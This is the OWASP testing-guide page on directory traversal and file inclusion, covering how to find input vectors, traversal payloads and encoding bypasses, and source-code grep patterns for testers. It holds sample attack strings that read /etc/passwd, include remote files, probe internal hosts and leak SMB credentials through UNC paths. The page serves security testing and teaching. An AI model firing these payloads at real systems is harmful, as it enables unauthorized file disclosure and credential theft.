Testing Directory Traversal File Include

ID
WSTG-ATHZ-01

Summary

Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands.

Traditionally, web servers and web applications implement authentication mechanisms to control access to files and resources. Web servers try to confine users' files inside a "root directory" or "web document root", which represents a physical directory on the file system. Users have to consider this directory as the base directory into the hierarchical structure of the web application.

The definition of the privileges is made using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent malicious users from accessing sensitive files (for example, the common `/etc/passwd` file on a UNIX-like platform) or to avoid the execution of system commands.

Many web applications use server-side scripts to include different kinds of files. It is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated.

In web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which they normally couldn't read, access data outside the web document root, or include scripts and other kinds of files from external websites.

For the purpose of the OWASP Testing Guide, only the security threats related to web applications will be considered and not threats to web servers (e.g., the infamous `%5c` escape code into Microsoft IIS web server). Further reading suggestions will be provided in the references section for interested readers.

This kind of attack is also known as the dot-dot-slash attack (`../`), directory traversal, directory climbing, or backtracking.

During an assessment, to discover path traversal and file include flaws, testers need to perform two different stages:

1. Input Vectors Enumeration (a systematic evaluation of each input vector)
2. Testing Techniques (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)

Test Objectives

- Identify injection points that pertain to path traversal.
- Assess bypassing techniques and identify the extent of path traversal.

How to Test

Black-Box Testing

Input Vectors Enumeration

In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application that accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.

Here are some examples of the checks to be performed at this stage:

- Are there request parameters which could be used for file-related operations?
- Are there unusual file extensions?
- Are there interesting variable names?
  - `http://example.com/getUserProfile.jsp?item=ikki.html`
  - `http://example.com/index.php?file=content`
  - `http://example.com/main.cgi?home=index.htm`
- Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?
  - `Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower`
  - `Cookie: USER=1826cc8f:PSTYLE=GreenDotRed`

Testing Techniques

The next stage of testing is analyzing the input validation functions present in the web application. Using the previous example, the dynamic page called `getUserProfile.jsp` loads static information from a file and shows the content to users. An attacker could insert the malicious string `../../../../etc/passwd` to include the password hash file of a Linux/UNIX system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the file system privileges, the web application itself must be able to read the file.

To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting `/etc/passwd` from an IIS web server.

```
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
```

For the cookies example:

```
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
```

It’s also possible to include files and scripts located on external website:

```
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
```

If protocols are accepted as arguments, as in the above example, it’s also possible to probe the local filesystem this way:

```
http://example.com/index.php?file=file:///etc/passwd
```

If protocols are accepted as arguments, as in the above examples, it’s also possible to probe the local services and nearby services:

```
http://example.com/index.php?file=http://localhost:8080
http://example.com/index.php?file=http://192.168.0.2:9080
```

The following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal characters.

```
http://example.com/main.cgi?home=main.cgi
```

The component called `main.cgi` is located in the same directory as the normal HTML static files used by the application. In some cases the tester needs to encode the requests using special characters (like the `.` dot, `%00` null, etc.) in order to bypass file extension controls or to prevent script execution.

Tip: It’s a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first the test string isn’t successful, try another encoding scheme.

Each operating system uses different characters as path separator:

- Unix-like OS:
  - root directory: `/`
  - directory separator: `/`
- Windows OS:
  - root directory: `<drive letter>:`
  - directory separator: `\` or `/`
- Classic macOS:
  - root directory: `<drive letter>:`
  - directory separator: `:`

We should take in to account the following character encoding mechanisms:

- URL encoding and double URL encoding
  - `%2e%2e%2f` represents `../`
  - `%2e%2e/` represents `../`
  - `..%2f` represents `../`
  - `%2e%2e%5c` represents `..\`
  - `%2e%2e\` represents `..\`
  - `..%5c` represents `..\`
  - `%252e%252e%255c` represents `..\`
  - `..%255c` represents `..\` and so on.
- Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)
  - `..%c0%af` represents `../`
  - `..%c1%9c` represents `..\`

There are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of file paths.

- Windows shell: Appending any of the following to paths used in a shell command results in no difference in function:
  - Angle brackets `<` and `>` at the end of the path
  - Double quotes (closed properly) at the end of the path

    - Extraneous current directory markers such as `./` or `.\\`
    - Extraneous parent directory markers with arbitrary items that may or may not exist:
        - `file.txt`
        - `file.txt...`
        - `file.txt<spaces>`
        - `file.txt""""`
        - `file.txt<<<>>><`
        - `./././file.txt`
        - `nonexistant/../file.txt`
- Windows API: The following items are discarded when used in any shell command or API call where a string is taken as a filename:
    - periods
    - spaces
- Windows UNC Filepaths: Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the web server.
    - `\\server_or_ip\path\to\file.abc`
    - `\\?\server_or_ip\path\to\file.abc`
- Windows NT Device Namespace: Used to refer to the Windows device namespace. Certain references will allow access to file systems using a different path.
    - May be equivalent to a drive letter such as `c:\`, or even a drive volume without an assigned letter: `\\.\GLOBALROOT\Device\HarddiskVolume1\`
    - Refers to the first disc drive on the machine: `\\.\CdRom0\`

Gray-Box Testing

When the analysis is performed with a gray-box testing approach, testers have to follow the same methodology as in black-box testing. However, since they can review the source code, it is possible to search the input vectors more easily and accurately. During a source code review, they can use simple tools (such as the *grep* command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.

- `PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...`
- `JSP/Servlet: java.io.File(), java.io.FileReader(), ...`
- `ASP: include file, include virtual, ...`

Using online code search engines (e.g., Searchcode), it may also be possible to find path traversal flaws in Open Source software published on the Internet.

For PHP, testers can use the following regex:

```
(include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
```

Using the gray-box testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard black-box assessment.

Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and **safe** but are not in reality.

Additionally, by reviewing the source code it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.

Consider a web application with these instructions:

```
filename = Request.QueryString("file");
Replace(filename, "/","\");
Replace(filename, "..\","");
```

Testing for the flaw is achieved by:

```
file=....//....//boot.ini
file=....\\....\\boot.ini
file= ..\..\boot.ini
```

Tools

- DotDotPwn - The Directory Traversal Fuzzer
- Path Traversal Fuzz Strings (from WFuzz Tool)
- OWASP ZAP
- Burp Suite
- Enconding/Decoding tools
- String searcher “grep”
- DirBuster

References

Whitepapers

- phpBB Attachment Mod Directory Traversal HTTP POST Injection
- Windows File Pseudonyms: Pwnage and Poetry

WSTG Contents (Stable)